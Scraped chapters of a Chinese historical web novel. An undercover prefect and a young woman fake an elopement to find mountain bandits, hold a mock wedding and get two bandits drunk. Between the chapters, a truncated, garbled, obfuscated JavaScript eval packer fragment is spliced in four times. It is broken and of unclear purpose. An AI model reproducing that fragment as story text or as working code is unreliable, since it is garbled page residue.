娉婷并不知道李老四丢了,不过不想让吴怡好过,“哼。” “大小姐,我爹怎么了?为什么吃不上?你们没给他吗?还是,还是我爹他 ……”,这时,何平正好走过来,“何平大哥,我爹怎么了?” 何平看了一眼娉婷,以为娉婷告诉吴怡李老四不见了,见吴怡着急的样子,一时语塞。 “你们说呀!我爹怎么了?” 娉婷白了吴怡一眼,自顾自走开,吴怡还想追上去问问,何平一下子挡住了去路,吴怡心中害怕,往前衙跑去想找周启问清楚。 周启在前衙吩咐衙役守好府衙,带着连锁穿便衣打算出城。吴怡正看见周启出府衙,一路喊周大人,可是两人都没有听见,翻身上马,吴怡在后边追着,两条腿哪能追上四条腿,跑着跑着没了力气,一下子栽倒在地。 吴怡哭了起来,张海不知从哪出来,递上了手帕。 周启与连锁出城,何平快马加鞭,终于和何启年一起追上了周启。“周大人,周大人!” 周启见两人,根本没有要停,仍旧向山里进发。 “五皇子,老臣出宫前,皇上曾有话让我告诉五皇子。” 周启一下子勒住马,“什么话?” “不可冒进!” “我父皇让你告诉我的?” “五皇子,老臣追随陛下多年,若皇上知道五皇子如此行事,一定会这样说的!” 周启的确有些急躁,“何统领,带兵打仗是你的事,找出马匪是本官的事。” “周大人,若是您出了什么危险,老臣如何与皇上交代。” 周启坐在马背上,看着何启年良久,“何统领,我知道我在做什么。本官是徽州知府,若说有什么危险,本官也责无旁贷。” “可是大人,您这么出城,如何能够确保安全,还是应该从长计议。那个二愣子,老臣看他根本不愣,况且城内的余年对大人虎视眈眈,大人还是应该在确保自身安全的前提下保卫一方百姓。” 周启有点生自己的气,计划已经安排出去了,各方也已经开始调动,但是计划有这么大的漏洞,必须赶紧弥补才行。 “五皇子,还是先回去吧,先商量出一个切实可行的办法,时间还来得及。” 周启终于在两人的劝说下回城,坐在书房里生自己的气。 “五皇子?” 周启长出一口气,“你有什么办法吗?” 何启年行兵打战,虽然多在开阔的北方,但是找不到敌人的情况也遇到过不少,“大人,派人进山查看是必须的,但是需要编造一个十分详细的故事。” “什么意思?” “大人,有人进山打探情况,必须说清为什么进山,想干什么,这前前后后都需要十分真切。说白了,就是说谎话,但是要滴水不漏。” “说谎话?”,周启脑子一下子想起了吴怡,“那丫头倒是说谎话的高手。” “谁?” 周启看着何启 年和李博,心里已经不生气了,“你们觉得,如果一男一女进山,是为了什么?” “逃婚?私奔?”,李博抢先回答。 “好。”,周启站起身来,“何平。” “在!” “你去找吴怡,我与吴怡假装私奔,去山里打听情况。” 何平的任务是保护周启,怎么可能让他涉险呢,“大人,属下去吧!” “不,本官一出城,你就去钱记将李婶抓回来,记住,要大张旗鼓地去抓。”,三人对视一眼,周启继续吩咐道,“李博,何平去抓李婶,你就去抓驿站的那个小吏,我就不信,余年还能坐得住!” (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第六十八章 张海误把吴怡当张灵 - 风吹繁花散落时 - 红酒羊排 张海将吴怡扶起来,十分关切。“张小姐,你怎么了?是不是遇到什么难事?” 吴怡听了钱宁的忠告,不敢对张海交心,只好发挥“才干”,按照周启给她的设定讲故事,“张老板,我的货出不了城,周大人不给我文书。” “怎么会呢?最近周大人不是已经开放城门,我听说大家的货都开始流通起来了呀!” “周大人说我一个女孩子不安全。”,吴怡一边哭泣,一边想办法脱身,“算了,幸亏不是什么容易坏的东西,我还是去找钱宁想想办法吧。” “哎,张小姐,你的货不如卖给我,我帮你流通出去?” “那怎么能成呢?”,吴怡心里打鼓,心想:我哪有什么货呀?,“张老板,虽然说有钱大家一起赚,可是这批货我早就答应人家了,张老板,我不打扰你了,我先走了。” “张小姐?” “张老板,上次你说谈生意,我觉得是好事,可是我现在真的着急,我得先走了,哦,对了,谢谢你的手帕。” “哦,别客气,以后有生意大家一起做啊。” 吴怡强装镇定,拿着手帕擦眼泪,学着钱朵的样子往前走了几步。好不容易挨到拐角处,赶紧躲起来,偷偷看了一眼还站在街上的张海,撒丫子就跑。 钱宁听了吴怡的诉述,一时不知道李老四是生是死,自己派出的人手什么也没有查到,周大人又三缄其口。“吴怡,我觉得周小姐可能是骗你的。” “那何平呢?何平为什么也不说话?” “那毕竟是他家的大小姐,他怎么好当着周小姐的面拆穿她呢。” 吴怡心里也觉得李老四没有死,如今听钱宁这么一分析自然觉得有道理。“嗯,钱宁,幸亏有你,要不我急死了。” 钱宁尴尬地笑了笑,他也害怕李老四出事,可是没有找到李老四尸体之前,决不能告诉吴怡。 第二天,吴怡又来到知府衙门,要求见李老四一面。“没问题。”,周启答应得十分痛快,李博站在旁边有点紧张。 “在哪?” “等我们从山里回来,你就能见到你爹了。” “山里?去山里做什么?” “私奔。” “私奔?” 正在周启与吴怡紧锣密鼓准备“私奔”的时候,余年也紧锣密鼓准备再次痛下杀手。 第二天,周启与吴怡乔装打扮出城,往山里走去。两人穿着农家的衣服,专挑密林。与此同时,何平进入钱家抓到了李婶,李博在驿站抓到了余年的妻弟李柏。余年原本正打算派人跟着周启出城,谁知消息不断传来,余年瞬间慌了。 余年忙不迭组织人手在钱家与知府衙门的路上截杀李婶,但是何平早有准备,道路两边埋伏了众多侍卫,余年的人 刚一动手,侍卫们就冲了出来,两边的人打在一起,场面瞬间乱了。余年乘娇冲出来,表面上保护百姓,实际上趁机放走了自己派来的人。 李博的人就十分顺利,带着李柏进入了知府衙门的大牢。 “大人,大人,我冤枉啊,下官什么也没有干呀!”,李柏隔着牢房栅栏喊冤。 “什么也没干?好啊,本官住在你的驿站,脖子上的东西都丢你,你还什么也没有干!” “大人,不是我呀,就是再借下官几个胆子,下官也不敢拿大人的东西呀。” “哼,本官的东西丢了,不管是不是你拿的,你都是玩忽职守,本官抓你有问题吗?” “大人,下官冤枉啊,下官冤枉!” “待着吧你!” 这边李博完成了任务,那边街面上余年正与何平掰扯。 “何平呀,虽说你是周大人的侍卫,可是你也不能如此无礼呀!” “余大人,属下奉大人之命抓捕盗匪,敢问余大人为何阻拦呀?” “何平,你说这个女人偷到知府衙门财物,可是她说没有。” “余大人,有没有的,周大人自会审理,不需要余大人过问了吧!” “放肆!本官是同知,与周大人只差半级,本官怎么不能过问?” “余大人,属下奉知府之令行事,同知大人若有什么疑问,等大人回来,您去问大人好了。”,说着,何平便打算带着人离开。 余年伸出手阻拦,“何平,本官是看在周大人的面子上才给你留些脸面,不过你别忘了,你不过是周大人的家奴,并非衙役,也不在官府之册,说白了就是一个百姓,本官和你好好说话你不听,本官只好以同知之尊,命令你将嫌犯交给本官。” 何平一个御前一等侍卫,堂堂正正的从二品官员,哪里受过这样的气,“我若是不交呢?” “那你休怪本官不客气!”,余年一声令下,他带来的衙役全都抽出了刀,何平也不含糊,狠狠盯着余年,缓缓将佩剑抽出来。李婶在后边十分紧张,她知道这是迟早的事情,只是还没有找到自己的儿子,心中无限感慨。张广在路旁的二层缓缓拉开了弓箭,直对着李婶射来。 噗嗤一声,李婶中箭,侍卫们慌忙护住李婶,开始搜寻张广。余年见李婶中箭,心中觉得安定不少,大喊一声,“抓刺客。”,其实是将局面搞乱,张广再次逃脱。李婶奄奄一息,余年赶紧过来,使劲摇晃,“你是不是偷了知府衙门的东西?说话呀!” 李婶摇摇头,眼角流下一滴泪来,闭上了眼睛。何平过来一把将余年推开,“李婶?李婶?” 余年站起来,义正言辞地指责何平,“何平!你看你干的好事!” 何平蹲在地上,回头 看了一眼余年,低下了头什么也没有说。 “何平,你不过就是知府的家奴,却当街致人死亡,该当何罪?”,余年气急败坏,“来人,将他抓起来,送到牢里,等周大人回来,本官必定禀报周大人,请周大人严加治罪。” 侍卫们怎么肯干,全都站在一旁护着何平,“怎么?你们要造反呐?” 何平缓缓站起来,一挥手,侍卫们全都让开了,余年的衙役将何平带走,送进了知府衙门的大牢,而李博躲在一旁指使衙役将何平与李柏关在了一个牢房。等余年听说了李柏的消息,何平已经不可能出来了。 “哎呀,上当了!”,余年追悔莫及,李柏在牢里见进来这么一位,吓得胆战心惊,何平还是第一次欺负别人,但是他打小在军营里长大的,没吃过猪肉还没见过猪跑吗?欺负人还不是一下狠心就能办到的吗?仅仅一天,李柏就被欺负得站在墙角,大气也不敢喘。 “李大人,你到底什么意思?” “本官的东西丢了,难道本官不该问问嘛?” “大人,这李柏怎么会偷东西呢?” “偷没偷的,不是得审审嘛。” “审审好,审审好。大人,不如现在就升堂审案。” “哎,余大人,这徽州知府又不在,你我升堂审案,于理不合吧!” “大人,您不是钦差吗?” “本官是钦差,但是本官也不能越俎代庖呀!还是等周大人回来再说吧。” “李大人,这周大人?” “哦,周大人出城去了,不日将归,放心吧,没几天的事。” “李大人……” “余大人,请回吧,本官有点累了。”,李博端茶送客,余年出了驿站,心里槽糕极了,他明白这是周启给他下的套,前边的李婶根本就是拖延时间,真正的目标是李柏。 周启与吴怡出了城,根据之前预判的方向一直往山里走去,可是一天了也没有马匪的踪迹。 “大人。”,周启瞪了吴怡一眼,吴怡赶紧改口,“周哥哥。” “乖。” 吴怡心里翻了两个大白眼,脸上却笑着,“周哥哥,我饿了。” “干粮在包袱里呢。” “周哥哥,你去帮我拿。” 周启看吴怡奇怪的样子,皱起了眉。 吴怡小声说道,“万一有人看着我们呢。”,周启无可奈何,亲自去拿干粮,还架起火堆,“周哥哥,给你。” “你吃吧。”,周启不知道城中情况,他有点担心,他不知道能不能抓到张广,也不知道何平能不能在李柏身上找到有用的东西。 “周哥哥?周哥哥?” “啊?” “你想什么呢?” “哦,没事。” “周哥哥,你们就是想得太多了,给你。”, 吴怡将馒头塞到周启手上。“人是铁饭是钢,一顿不吃饿得慌。吃吧,好吃的。” 周启看吴怡拿着大馒头就满足的样子,笑了笑,“你这个人倒是容易满足。” “你不知道,我以前连饭都吃不上,如今有大馒头吃,多好呀。” “可有些人就是不知道满足。” 吴怡也不知道周启在说谁,反正不是说自己就成,所以也不答话,继续吃她的大馒头。 周启也不再说话,刚刚掰了一下馒头,不远处的草丛里就有动静。吴怡一动不敢动,周启反手就扔出了一个球状的暗器,一只野兔子一下子晕倒在地上。吴怡也看清了,赶紧放下馒头过来拿,“嘿嘿,有兔子吃了!” 两人在火上烤兔子,吴怡眼里放光,一直咽口水。“嘿嘿,周哥哥,你好厉害呀!这暗器,真准!”,吴怡见周启也不说话,继续说道,“哪天你教教我呗,我也逮只兔子。” “学什么都不容易,需要常年练习。” “啊?那你练了多久?” “十四年。” (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第六十九章 周启、吴怡夜读《山海经》 - 风吹繁花散落时 - 红酒羊排 “十四年?”,吴怡惊得嘴巴都张大了。 “我四岁习武,如今我都十八了。” 吴怡瞬间不言语了,想想自己还没有一件事情能坚持了十几年呢。 “怎么了?”,周启一边烤兔子一边看吴怡,“一听说需要这么久,就不想学了?” “周哥哥,这也太难了。” “那你为什么读书呢?” “钱宁教我的,他跟我说读书没坏处。” “读书当然没有坏处,可是你读书少就会迷惘,找不到解决问题的办法,所以要一辈子读书。” 吴怡根本听不懂,懵懵懂懂看着周启。 周启见她这样,觉得自己这话也是对牛弹琴,笑了笑,摇摇头,“总之就是读书是一辈子的事情,与习武一样,不可一日懈怠。” 吴怡听周启这么说,突然想起来,使劲摸摸包袱,“哎呀,书忘带了!” “丢三落四,你怎么不把你自己丢了!”,周启打小接受的教育就是手不离手,绝不懈怠,见吴怡这种三天打鱼两天晒网的,真的来气。 吴怡本来就懊恼,被周启一骂,心里更加不服气,坐在一旁不说话。“给你。”,可是周启一递上兔子肉,吴怡就又开心起来,提鼻一闻,“嗯,真香。” 周启看她这样,对她能把书读好持怀疑态度,也就不再要求吴怡什么。两人吃完了兔子肉,周启躺在旁边看书,吴怡无事可做,也凑了过来,蹲在周启肩膀边,“你看什么呢?” “《山海经》” “这不是小孩看的吗?” “你看过?” “没有,就是听说过,都是大人吓唬小孩用的。” 周启拿着书,侧头看着吴怡,见她不像开玩笑,“这《山海经》是集大成者,怎么能是吓唬小孩用的呢?” “这里边不是有好多怪兽啊,神仙鬼怪之类的嘛,那不就是吓唬小孩的嘛?” “胡说!”,周启一下子坐起来,“这是我们国家古代的智慧,是灿烂文明的集合,这里边有详实的地理、水文记载,还有很多祭祀仪式,怎么能是吓唬小孩用的呢!” “你这么激动干嘛?”,吴怡吓了一跳,一秒怂。 周启对吴怡这种一秒怂真是没办法,想骂她,人家已经认怂了,不说她,又觉得对不起手中的《山海经》。最后只好自己忍了,又躺下继续看起来,吴怡见他看得认真,也凑过来看。吴怡的脑袋在书本与周启的脸中间夹着,头发洒在周启的脸上,“哎呀!” 吴怡吓了一跳,又秒怂。 “想看就在这边上看,别把脑袋伸进来。” 吴怡刚才看见了,上边有图画,反正也无事可做,赶紧在周启旁边躺下,与周启一起看《山海经》。吴怡只看图片,看得快,周启看的慢,吴怡 又不敢说让翻页,只好也看看那上边写的字,心想:这应该是怪兽的名字,可是怎么这么多笔画,这得多难写?不一会的功夫,吴怡便睡着了,周启也不知道吴怡睡着了,继续看书。突然,吴怡翻身,一把抱住周启,腿也搭在了周启身上。周启简直服了,用力将吴怡推开,吴怡被推开,不一会儿又翻身抱住了周启,还死活不散手,周启使劲推吴怡,谁知她睡得像死猪一样,怎么也推不开。周启最终放弃,躺在草甸子上看星星。 第二天一早,吴怡醒得早,迷迷糊糊看见周启的脸,吓了一跳,瞪得一下坐起来,周启也吓了一跳,瞬间坐起来,“怎么了?” 吴怡抱着自己,睁大眼睛看着周启,“啊!”,吴怡这一喊,周启听见不远处也“啊”了一声,赶紧回头打了吴怡一下,“别叫!”,吴怡赶紧捂住自己的嘴,顺着周启看着的方向看去。 两人猫着腰往前走,看见一个六十岁模样的老人蹲在地上。周启赶紧过来,“老人家?老人家你没事吧?” “哎呦,刚才是你叫得?”,周启将老人扶起来,老人继续说道,“哎呦,吓死我了!小老儿可经不起这么吓呀!” 吴怡一听不好意思起来,“老人家,对不起,我不是故意的。” 周启将老人扶起来,“老人家,你怎么一个人在这?” “我是这山上的猎户,来看看逮到猎物了没,谁知就听啊得一声,吓我一跳,我就摔倒了。” “您脚怎么样?能动吗?” “有点疼,可能扭着了。” “老人家,您家住哪,我送您回去吧!” “不行啊,我得先看看我的陷阱,要不猎物就被别的动物抢走了。” “那行,我扶您去吧!” “哎呦,那不耽误你吧?” “不耽误,不耽误。” 周启与吴怡两人扶着老猎户查看了所有陷阱,带着猎物送老人回家去。一进家门,老婆婆走出来,“你怎么才回来?” “婆婆好。”,吴怡倒不认生,“婆婆,刚才公公的脚扭伤了,我们送他回来。” “扭伤了?”,老婆婆赶紧过来查看,“哎呦,谢谢你们,要不我老头子得在大山里回不来了。” “不客气,也是我们不好。不过现在既然回来了,我们也就不打扰了。” “进来喝杯水吧!”,老婆婆扶着老猎户进屋,又招呼周启与吴怡,“这山路难走,你们能把老头子送回来,真是好人,快进来喝点水吧。” “不用了。”,吴怡原本不想进去了,可是周启有自己的打算,“我倒是有点渴了,要是不麻烦的话。” “不麻烦,不麻烦,快进来吧!” 两人进屋,见屋里家具摆设十分简朴自然,打猎的工具倒 是一应俱全。老猎户坐在椅子上,老婆婆拿着水壶给大家倒水。 “谢谢您。” “你们坐啊,坐吧。” “哎,好。”,吴怡不知道周启要干什么,只好在周启旁边坐下。 “老人家,你平时就住在这啊?”,周启喝了两口水,开始套话。 “是啊,总也得有四十年了。” “四十年?冬天也在山上吗?“ “是啊,我和老伴成亲到现在,一直住在山上。她爹原就是猎户,我娶了她,自然也就是个猎户。”,老猎户笑着说,“人家都是嫁鸡随鸡嫁狗随狗,我这是娶个猎户就当猎户了。”,老婆婆不好意思起来,“说这些做什么?谁爱听?” “哈哈,老人家,我们也想在山上找块地方住下来,就是不知道哪里好。” “你们要住在山上?” “是啊。”,周启拉着吴怡的手,深情地对吴怡说,“吴怡,我们也像这样,好不好,一直一直在一起,一直到老,一直到死。” 吴怡看着周启这样,突然有点紧张。老两口相视一笑,也拉起了手。 “就是这山上有些地方不太平,最好就住在这边,往东走再过两座山就不要去。”,老猎户详细介绍,周启用心记在心上,“谢谢老人家,这真是帮了我大忙了!” “没事的,以后都住在山上,也许以后还能碰到呢。” “是啊,吴怡,以后我们打到猎物给老人家送点,权当谢谢老人家了。” “好啊!”,吴怡终于明白周启在干嘛了,也假装要住在山上似的答应道。 “不用,不用了,你们小两口自己留着吧,我们两个都这么大岁数了,不需要什么。倒是你们,要好好的,以后生了娃,总是需要猎物去换点钱的。” “瞧你,说这么远去干什么?”,老猎户埋怨道。 “哈哈哈,借两位吉言了,我们一定生他十个八个的!” 周启说完,大家都笑了起来,吴怡看周启这样,心想:这位大老爷,比自己会骗人多了,说得自己都差点信了。于是也跟着大家笑起来。周启与吴怡离开猎户家,往老猎户说不太平的那两座走去。 “周大人。” 周启又瞪了吴怡一眼。 “离那座山远着呢还,不用这么紧张吧!” “吴怡,你可以不把你自己的命当回事,可是我,我得好好活着!” 正说着,旁边冲出来一个人,吴怡吓了一跳,周启一个暗器扔出去,那人噗通倒在地上。两人上来查看,居然是李老四!原来李老四从徽州出来,身无分文无法走远,一直在山上靠着捕食小动物为生,他今天本来想看看猎户的陷阱能不能捡点人家不要的小东西,结果看见吴怡与周启扶着猎户。李老四对娉婷真是恨得 牙根痒痒,虽然只见过周启一面,可是这张脸,他永远记得。他在屋外埋伏已久,见周启出来,上来就想给周启一下子,可是周启武功了得,一下子将李老四击倒在地。 “爹!” 周启见是李老四,怎么也没有想到,“赶紧,将你爹抬到老猎户家里。” 两人七手八脚将李老四抬进屋,“我去找大夫,你等会啊。” “嘿,不用,我们这有上好的金疮药,都是我们自己上山采的。”,老猎户一看李老四就知道,这暗器是猎杀小动物的,根本伤不及性命,这人一看就是吓晕了。 周启一听,也冷静下来,“嗯,那多谢老人家了。” 老婆婆拿来药,给李老四涂上,又掐李老四人中,又给他送水的,李老四终于醒转过来。 (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第七十章 周启、吴怡成亲 - 风吹繁花散落时 - 红酒羊排 李老四一醒,赶紧装弱。“哎呦,哎呦。” “爹,你怎么样?” “哎呦,哎呦。” “我说这位老弟呀,你没什么事就别哎呦了,别让你闺女他们小两口担心你。” “小两口?”,李老四一下子坐起来,看着周启和吴怡,“你们,你们?” 吴怡赶紧抓住李老四的手,“爹,你就成全我们吧!”,说着,吴怡噗通跪在李老四床前,“爹,女儿不孝,要是你不让我嫁给他,我,女儿只能先走一步了!”,说着,吴怡已经哭了起来。 “你瞧瞧,你这个当爹的也得考虑考虑女儿的感受啊,看他们小两口都这么求你了,你怎么就不能成全他们?” 李老四不知道情况,但是他知道吴怡不会平白无故这样,只好也发挥老本行,“你这个臭丫头!我不同意你们就私奔吗?让我好找!”,说着,李老四甚至打了吴怡两下子。 “爹,爹你同意了?”,吴怡泪中带笑,扭头看着周启,“周哥哥,我爹同意了!” “太好了!”,老两口在旁边高兴起来,又对着周启和吴怡说着,“恭喜恭喜,这真是天大的好事。” 周启被突如其来的李老四弄得有点不知所措,被人恭喜也只好露出笑容,“谢谢,谢谢大叔,我一定会好好照顾吴怡的!” “是啊,爹,你放心吧,周哥哥会好好照顾我的。”,吴怡与周启站在一起,脸上带笑相互看了一眼。 李老四心思活动起来,心想:知府若真成了自己女婿,自己就是飞黄腾达了,以后这徽州城里就可以横着走了。“你们什么时候成亲?” “嗯?”,周启和吴怡没想到李老四这么问,都迟疑了。 “哈哈哈,这不同意是不同意,一同意啊,瞧瞧,还着急了。”,老婆婆觉得李老四还挺有趣,打趣道,“怎么,是不是盼着抱孙子了?” “是啊,是啊,早成亲早抱孙子嘛。”,李老四倒不客气,坐在床上有一种家长的风范。“你们两个不如现在就成亲吧!” “啊?”,周启和吴怡对视一眼,都觉得大事不好。“爹,你看这里是人家家里,又什么都没准备,怎么成亲啊?” “就是啊,亲戚朋友的都还没有通知呢,怎么也得选个良辰吉日啊!”,周启也赶紧解释。 “嘿,咱们家有什么亲戚朋友?你爹娘都不在了,你娘也不在了,就剩我了,我给你们主持,你们就能成亲了。”,李老四打算来个快刀斩乱麻。 周启差点骂人,谁爹娘不在了?,可是老两口又凑起热闹,“哈哈哈,今天就是良辰吉日,宜嫁娶。真是择日不如撞日,老伴啊,把咱们当年结婚的衣服拿出来,还有红烛啊,香案啊,这些都有,是几个 月前我儿子成亲置办下的,现在儿子、儿媳去城里住了,没想到这些东西还能派上用场。” 周启简直惊着了,没想到深山老林里,一个猎户家里还能有成亲用的东西。“啊,那个,我们……” “就这么办了!谢谢老哥哥了!”,李老四一激动站了起来。 “哈哈哈,不客气,我们老两口真是有福气,还能遇到这样的好事,成全了一桩婚事,真是积德行善了。” 周启与吴怡正想在挣扎一下,门口站着两个人,拿着明晃晃的刀敲在木栅栏上,“老头!邢老头!” 老两口立时色变,“小声点,马匪来了。” 李老四差点吓死,腿都哆嗦了,周启和吴怡也紧张起来。 “哎,来了,来了。”,老婆婆赶紧出门招呼,“两位久等了。” “这么久才开门,干什么呢?” “哦,没事。你们要的东西早都备下了,这边来。” 周启在屋里向外看,两个马匪举着刀,并不见其他人,他们跟着老婆婆往旁边的屋子去了。周启不愿意放弃这样的机会,抬腿出来了,“婶儿,谁来了?” 老婆婆和两个马匪都吓了一跳,“什么人?” “哦,我是她侄子。我们来看看叔和婶子。” 其中一个马匪看看周启又看看老婆婆,“侄子?你们?” 吴怡在屋里听得真切,也出来了,“周哥哥,婶子,你没事吧?” “呦,哪里来的小丫头?” “这位大哥,你们是来拿东西吗?我帮你们吧。”,周启不想别人陷入险境,但是绝不能轻易叫马匪走。 “等会等会。”,一个马匪警觉起来,“你们,什么人?” “哦,这是我老头的弟弟的女儿和她相公,这不要成亲了,来我们这拜访的。” “要成亲了?” “是啊,这正准备东西,要成亲呢。” 两个马匪对视一眼,“哈哈哈,没想到老子还能喝个喜酒,好好好,成亲好,来,兄弟,咱们也吃杯喜酒再走。” “哈哈,好呀,欢迎欢迎,我们正愁没有宾客。” 吴怡慌了,她没想到要成亲,更没想到宾客是马匪,紧张得拉着周启的袖子。两个马匪已经乐呵呵进屋,周启小声对吴怡说,“随机应变。” 李老四、周启一起将香案搭起,红烛点上。老婆婆带着吴怡换上喜服,“这啊,还是我们成亲时候的衣服呢,总也不舍得扔,没想到还真能派上用场。”,说着老婆婆居然喜极而泣。 吴怡看着镜中的自己,觉得十分不真实,她从没想过自己穿上大红嫁衣的情形,更没想到是在这样的情形之下。吴怡被老婆婆扶着出了房门,院里,周启也穿着喜服等候,李老四与老猎户坐在上位,两个马匪充当宾 客。这样奇妙的组合,竟让吴怡有点羞涩,她觉得周启有些不同以往,她慢慢走近周启,心脏砰砰砰跳了起来。 两人站定,老婆婆站在香案旁主持婚礼。两人拜天地后,朝李老四拜了一下,当做二拜高堂,最后,两人面对面跪着,夫妻对拜。 “礼成。”,老婆婆高声一喊,在座之人都露出了喜悦的笑容。周启过来将吴怡的红盖头掀开,他知道这样不合礼仪,但是两人成亲就没有一点合礼仪的,找马匪打听情况才是目的。 可是吴怡小脸绯红,觉得心脏加速,居然羞赧起来。 “哈哈哈,这小媳妇,你小子真是有福气呀!”,一个马匪调侃道。 “谢谢,谢谢大家。”。周启迫不及待,“娘子,我们来敬大家一杯,权当感谢。” 两人开始敬酒,马匪左一碗右一碗,很快喝得晃晃悠悠。一个马匪一把抱住周启的肩膀,“我跟你说啊,这女人娶回家就得好好疼着,你看我们,上哪娶媳妇,但是老子们绝不缺女人。哈哈哈哈。” 另一个马匪喝多了,开始哭泣,“呜呜呜呜,谁他妈不想娶媳妇,老子的媳妇跟人跑了,不过老子也不含糊,妈的,狗男女就该下地狱,浸猪笼。呜呜呜呜。” 抱着周启的马匪过来安慰哭泣的马匪,“兄弟,咱们大口吃肉,大碗喝酒,有的是女人,你别娘们唧唧的。” 周启拿着酒坛过来,“是啊,兄弟们有的是好日子过呢,来,喝酒喝酒。”,两个马匪又喝了几碗,周启见差不多了,赶紧问,“两位,两位大哥,你们是来取东西啊?” “是啊,这邢老头是这个。”,一个马匪举起大拇指,“够朋友,总是给兄弟们猎物,让兄弟们开荤。” 周启又给马匪满上了,“这东西拿着,天气炎热,路上不会坏了吧。” “不会,兄弟们就在那个山头。”,马匪站起来,指着旁边的山头,“半天就到了,近得很近得很。” 周启没想到马匪就在旁边的山头,明明老猎户说再过两座山才不安全,周启看了老猎户一眼,老猎户其实是不想跟马匪扯上关系,更不想让别人知道他们给马匪提供猎物。“哈哈哈,不过大哥,你都喝这么多了,这怎么回去呀。” “没事,我们有马,有马。” “那就好,来来来,再喝两碗。” 周启将两个马匪灌醉,见两人不省人事,跟吴怡说,“吴怡,你马上去叫人,他们就在山脚下,你们埋伏好,一会儿我叫醒他们,让何统领的人跟着。” 老两口发现不对,神情紧张,“你们,你们是?” “你先去吧。”,吴怡应声离开,周启又走到老两口身边,“我是徽州知府的侍卫,你们为马匪提供猎户 犯了死罪。” “哎呦。”,老两口赶紧跪地求饶,“大人饶命,大人饶命。” “本官看在你们都是老实人的份上,可以给你们一个机会,一会儿他们醒来,你们就当什么也没发生,什么也不知道。”,周启又转头看着李老四,“李老四,你的罪今天你也可以赎罪,本官给你一个机会。” 李老四赶紧点头,“好好好,大人说什么我就干什么。” 吴怡一路奔跑,终于找到了何统领,何启年已经等候多时,翻身上马,走大路靠近老猎户的房子,又静悄悄埋伏在树丛里,只等马匪离开。 (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第七十一章 袭扰马匪 - 风吹繁花散落时 - 红酒羊排 午时将过,天气炎热,一个马匪终于醒来。他打着酒嗝找水喝。“这呢,这呢。你终于醒了,我们把东西都给你们放马上了。” “啊?哦,成,谢啦啊。”,这个马匪捅捅还没有醒的马匪,“走了,走了,兄弟们还等着我们回去吃肉呢。” 那个马匪迷迷糊糊,站起来一起走,两人还不忘回头与老婆婆打招呼,老婆婆强装镇定,在门口与两个马匪挥手告别。两人翻身上马,何启年的前锋紧随其后。 周启站在门口,看着这一切,一转身,李老四殷勤的脸正在身后,周启吓了一跳。李老四倒嬉皮笑脸,“周大人。”,周大人皱着眉毛,双手背在身后,稳稳当当站定。 “周大人,你看,咱们都是一家人了……” 周启扭头瞪着李老四,正好何启年走了过来,“大人。” “你来的正好,把他带走。” “是。” “哎,别别别,周大人,周大人,咱们都是一家人了,我可是你老丈人呀。”,何启年的手下才不管李老四说什么,架着李老四往山下走去。半路上遇到吴怡,“吴怡,吴怡快救我呀。” “哎,爹,爹。”,何启年才不管李老四和吴怡,带着人沿着前锋留下的标记一路追踪。吴怡赶紧来找周启,“周大人,周大人,我爹,我爹……” “你刚才不是见到了吗?” “什么意思?” 周启站在吴怡对面,“本官不是答应你了吗,你这次完成任务,本官就让你见到李老四,你刚刚不是见到了吗?” “那是我爹自己来的。” “见到不就行了。”,周启也觉得心虚,但是绝不能承认。 “哎!周大人,你之前骗我,我爹根本就不在你手上,是你把我骗了。”,周启也说不出什么,只直直站在不说话。“周大人,你说,你之前是不是骗我,那你已经把我爹放了,我根本没必要来这,那我现在怎么也算是立功了吧?你是不是得把我爹放了?” “放了?” “啊!” “可以呀,上次我说的,你做到了,本官就放了他。”,周启说完抬腿就走。 吴怡看着周启的背影,“嘿,翻脸比翻书还快!”,吴怡跟着周启回到徽州城,吴怡一路上瞪了周启好几眼,心想:真是不讲信用,一次次的,耍猴呢?哼,当官的都一样,就知道欺负我们小老百姓。 周启一进衙门,直接找到李博,“怎么样了?” “都办妥了,就看何平的本事了。” “余年呢?” “热锅上的蚂蚁一样,天天来这唠叨。” “张广呢?” “那没抓到。” “这叫都办妥了吗?” “要说这个张广挺厉害呀,都好几次了,居然都能逃脱。” “不过是个杀手,杀了他的主子,我看他能怎么样?” 